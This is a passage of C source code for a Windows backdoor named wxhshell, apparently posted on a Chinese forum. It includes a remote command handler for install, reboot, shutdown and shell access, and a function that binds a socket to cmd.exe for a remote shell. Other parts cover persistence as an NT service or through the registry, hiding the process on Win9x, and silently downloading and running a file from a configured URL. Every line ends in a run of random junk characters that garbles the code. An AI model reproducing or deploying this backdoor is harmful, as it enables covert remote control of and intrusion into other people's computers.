  else ?wFL\C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2f62 0   
  } @_1cY#!  
  else { c94=>p6  
p}<60O"r$  
    switch(cmd[0]) { Ov ^##E  
  ~H1<8py\J  
  // 帮助 _W^;a  
  case '?': { X0REC%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e5 }amrz  
    break; EX#AJ>?V(  
  } ]Y!x7  
  // 安装 V:vqt@  
  case 'i': { !F.h+&^D;  
    if(Install()) Hq!|r8@6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ifz@8C }  
    else 5{Q9n{dOh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p4 =/rkq  
    break; ,Vw>3|C  
    } hS&l4 \I'Z  
  // 卸载 ,~DV0#"  
  case 'r': { e[s}tjx  
    if(Uninstall()) P-3f51Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1@LMIi5x  
    else EC 1|$Co  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6|~^P!&  
    break; 9\c]I0)3p  
    } ?^W1WEBm  
  // 显示 wxhshell 所在路径 FSn3p}FVa  
  case 'p': { Id&e'  
    char svExeFile[MAX_PATH]; ex6R=97uA  
    strcpy(svExeFile,"\n\r"); hzRKv6  
      strcat(svExeFile,ExeFile); g5lb3`a3  
        send(wsh,svExeFile,strlen(svExeFile),0); tRZ4\Bu  
    break; W"GW[~ h  
    } eLnS1w 2  
  // 重启 1m#.f=u{R  
  case 'b': { P%gA` j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EO~L.E%W  
    if(Boot(REBOOT)) kwL|gO1L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%@ah:iJ  
    else { 5doi4b>]!  
    closesocket(wsh); {ywwJ  
    ExitThread(0); uYWD.]X;[  
    } (zsv!U  
    break; F"UI=7:o  
    } &N._}ts  
  // 关机 &T~X`{V]`  
  case 'd': { QS5t~rb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U||GeEd  
    if(Boot(SHUTDOWN)) =$fz</S=J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KmTFJ,iM  
    else { kS8?N`2}LV  
    closesocket(wsh); 6(rN(C  
    ExitThread(0); T7^;!;i`X  
    } `Z8k#z'bN  
    break; <|jh3Hlp  
    } <r.QS[:h  
  // 获取shell pCA`OP);=  
  case 's': { IEMa/[n/  
    CmdShell(wsh); -v.\W y~\  
    closesocket(wsh); &i(Ip'r  
    ExitThread(0); KE@+I.x  
    break; 5a$EXV  
  } [`t ;or  
  // 退出 C5Q!_x(  
  case 'x': { )iQ^HZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }#7rg_O]>  
    CloseIt(wsh); yV )fJ_  
    break; 0hV#]`9`gN  
    } {;u,04OVK  
  // 离开 PPr Pj^%z=  
  case 'q': { M{{kO@P"9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z )M "`2Ur  
    closesocket(wsh); _eOC,J<-~  
    WSACleanup(); 5dI=;L >D  
    exit(1); J\Pb/9M/  
    break; oDMPYkpTu  
        } XhHgXVVGG<  
  } OyF=G^w  
  } R`Z"ey@C  
nOvR, 6  
  // 提示信息 _ERtL5^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rR-[CT  
} Q(nTL WW  
  } q.`< q  
G rp{ .  
  return; C2"^YRN,  
} l|?tqCT ^h  
Nw1*);b[y  
// shell模块句柄 1+uZF  
int CmdShell(SOCKET sock) CTRUr"  
{ r)pt(*KHo  
STARTUPINFO si; C$TU TS  
ZeroMemory(&si,sizeof(si)); ou<3}g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XGR2L DR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s@@Km1w  
PROCESS_INFORMATION ProcessInfo; A-T-4I  
char cmdline[]="cmd"; _&hM6N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "u!gfG?oH  
  return 0; dX cbS<  
} QQ.?A(U7  
rs{)4.I  
// 自身启动模式 L AasmQ  
int StartFromService(void) @6>Q&G Yqt  
{ gGL}FNH  
typedef struct Ne1Oz}  
{ 0BlEt1e2T  
  DWORD ExitStatus; f?Zjd&|Ch  
  DWORD PebBaseAddress; p{^:b6  
  DWORD AffinityMask; ,bl }@0A  
  DWORD BasePriority; ]yf?i350  
  ULONG UniqueProcessId; kk-<+R2  
  ULONG InheritedFromUniqueProcessId; RTcxZ/\" #  
}   PROCESS_BASIC_INFORMATION; 7qB4_  
1"ZtE\{ "  
PROCNTQSIP NtQueryInformationProcess; +9b{Y^^~T  
KHML!f=mu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I.jqC2G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OR+qi*)  
ZyUcL_   
  HANDLE             hProcess; !HDb{f  
  PROCESS_BASIC_INFORMATION pbi; YQ G<Q  
FfJ;r'eGs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sX%n`L  
  if(NULL == hInst ) return 0; ~{/M_ =  
V2Vr7v=Y"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f[k#Znr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y7}Tuy dC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7z4k5d<^_  
o{sv<$  
  if (!NtQueryInformationProcess) return 0; xR0T' @q  
I/Vw2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^el+ej/=  
  if(!hProcess) return 0; \N*([{X  
9E2iZt]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RVatGa0  
1l$Ei,9  
  CloseHandle(hProcess); #{q.s[g*+1  
+)sX8zb*gY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lA5Dag'  
if(hProcess==NULL) return 0; n^4R]9U  
2CzhaO  
HMODULE hMod; ;|5-{+2U%  
char procName[255]; $9,&BW_*  
unsigned long cbNeeded;  LgNIb  
*H QcI-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u1%URen[x  
^9[Q;=R  
  CloseHandle(hProcess); 13X}pnW  
7y'uZAF  
if(strstr(procName,"services")) return 1; // 以服务启动 ^<CVQ8R7  
<=*f  
  return 0; // 注册表启动 Gaix6@X6'  
} 4b2d(x)0X  
kXSX<b<%  
// 主模块 uAn}qrqE9  
int StartWxhshell(LPSTR lpCmdLine) 5daq}hsQs  
{ @L3XBV2  
  SOCKET wsl; T$%|=gq  
BOOL val=TRUE; p\w<~ pN[  
  int port=0; 4nsJZo#S/  
  struct sockaddr_in door; H$h#n~W~  
j<p.#jkT  
  if(wscfg.ws_autoins) Install(); $d?W1D<A  
G\@pg;0|y  
port=atoi(lpCmdLine); ljKIxSvCFp  
+X=*>^G(-  
if(port<=0) port=wscfg.ws_port; Y,}_LS$f  
Jl/wP   
  WSADATA data; WoEK #,I;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~#pATPW@(  
FJ;I1~??  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YaC%69C'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FH~:&;  
  door.sin_family = AF_INET; !T`oHs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RuPnWx!  
  door.sin_port = htons(port); .Kb3VNgwvm  
HuevDy4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `L'g<VK;  
closesocket(wsl); 9d drtJ]  
return 1; -'&/7e6>y  
} [;u#79aE  
M R#*/Iw~  
  if(listen(wsl,2) == INVALID_SOCKET) { <Y]LY_(  
closesocket(wsl); tk"+ u_uw  
return 1; Oidf\%!mvR  
} gQn%RPMh  
  Wxhshell(wsl); Hb)FeGsd).  
  WSACleanup(); b[74$W{  
2d&F<J<sU  
return 0; 80=0S^gEZ  
IVR%H_uz  
} _'=,c"  
V(7,N(  
// 以NT服务方式启动 P%3pM*.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q(KjhM  
{ 6mM9p)"$  
DWORD   status = 0; [X(4( 1i  
  DWORD   specificError = 0xfffffff; ~t6q-P  
R;< q<i_l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4>KF`?%4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /(dP)ysc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Su#0 F0  
  serviceStatus.dwWin32ExitCode     = 0; / F0q8j0  
  serviceStatus.dwServiceSpecificExitCode = 0; @>2pY_  
  serviceStatus.dwCheckPoint       = 0; $V~@w.-Z#  
  serviceStatus.dwWaitHint       = 0; I?e5h@uE  
:`bC3Mr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $dL..QH^K  
  if (hServiceStatusHandle==0) return; `w@:h4f  
gaF6 j!p  
status = GetLastError(); /v{+V/'+  
  if (status!=NO_ERROR) lTx_E#^s  
{ Ln+l'&_nb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Y($ F2  
    serviceStatus.dwCheckPoint       = 0; ]eL# bJ  
    serviceStatus.dwWaitHint       = 0; <:S qMf  
    serviceStatus.dwWin32ExitCode     = status; 9[0iIT$q$  
    serviceStatus.dwServiceSpecificExitCode = specificError; DHO]RRGV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pj>R9zpn_  
    return; f}:C~L!  
  } @^,q/%;  
q}{E![ZTu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8D*7{Q  
  serviceStatus.dwCheckPoint       = 0; #AD_EN9  
  serviceStatus.dwWaitHint       = 0; 3jx%]S^z|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f|d~=\0y  
} eaw!5]huu  
k&Pt\- 9on  
// 处理NT服务事件,比如:启动、停止 '.A!IGsj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^FVdA1~/  
{ "zEl2Xn28_  
switch(fdwControl) 'Y?-."eKh  
{ mF7 Ak&So^  
case SERVICE_CONTROL_STOP: bvox7V>  
  serviceStatus.dwWin32ExitCode = 0; X4;U4pU#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Eb3ZM#  
  serviceStatus.dwCheckPoint   = 0; bWe2z~dP  
  serviceStatus.dwWaitHint     = 0; 77RZ<u9/`  
  { T7[@ lMa?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {R1]tGOf  
  } #:)'D?,  
  return; qt8Y3:=8l  
case SERVICE_CONTROL_PAUSE: |#Gxqq'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bt}8ymcG  
  break; bWFa{W5!  
case SERVICE_CONTROL_CONTINUE: 1XGg0SC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pbMANZU[  
  break; fc#9e9R  
case SERVICE_CONTROL_INTERROGATE: %4~"$kE  
  break; >"W^|2R  
}; $AK ^E6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DV5hTw0  
} EP>u%]#  
*xnZTj:  
// 标准应用程序主函数 z'L0YqXG/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \0\O/^W0  
{ y0%@^^-Ru  
:H}iL*  
// 获取操作系统版本 %i9S"  
OsIsNt=GetOsVer(); o/AG9|()4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x@#>l8k?  
/|EdpHx0  
  // 从命令行安装 Nd(,oXa~  
  if(strpbrk(lpCmdLine,"iI")) Install(); fUw:jE xz  
ne#dEUD  
  // 下载执行文件 H,> }t S  
if(wscfg.ws_downexe) { J 6 ~Sr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .6y+van  
  WinExec(wscfg.ws_filenam,SW_HIDE); k+J3Kl09hM  
} jCqz^5=$  
*@rA7zPFf  
if(!OsIsNt) { 1W|jC   
// 如果时win9x,隐藏进程并且设置为注册表启动 Ca-"3aQkc  
HideProc(); \h ~_<)  
StartWxhshell(lpCmdLine); Vgm*5a6t  
} Ejk;(rxI  
else CJ<nUIy'z  
  if(StartFromService()) 1/$PxQ  
  // 以服务方式启动 b++r#Q g  
  StartServiceCtrlDispatcher(DispatchTable); XoN~d  
else {B+}LL!  
  // 普通方式启动 X,Ql6uO  
  StartWxhshell(lpCmdLine); 45~x #Q  
q1ysT.{p,  
return 0; +\=g&G,  
}
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只看该作者 1 发表于: 2006-10-10
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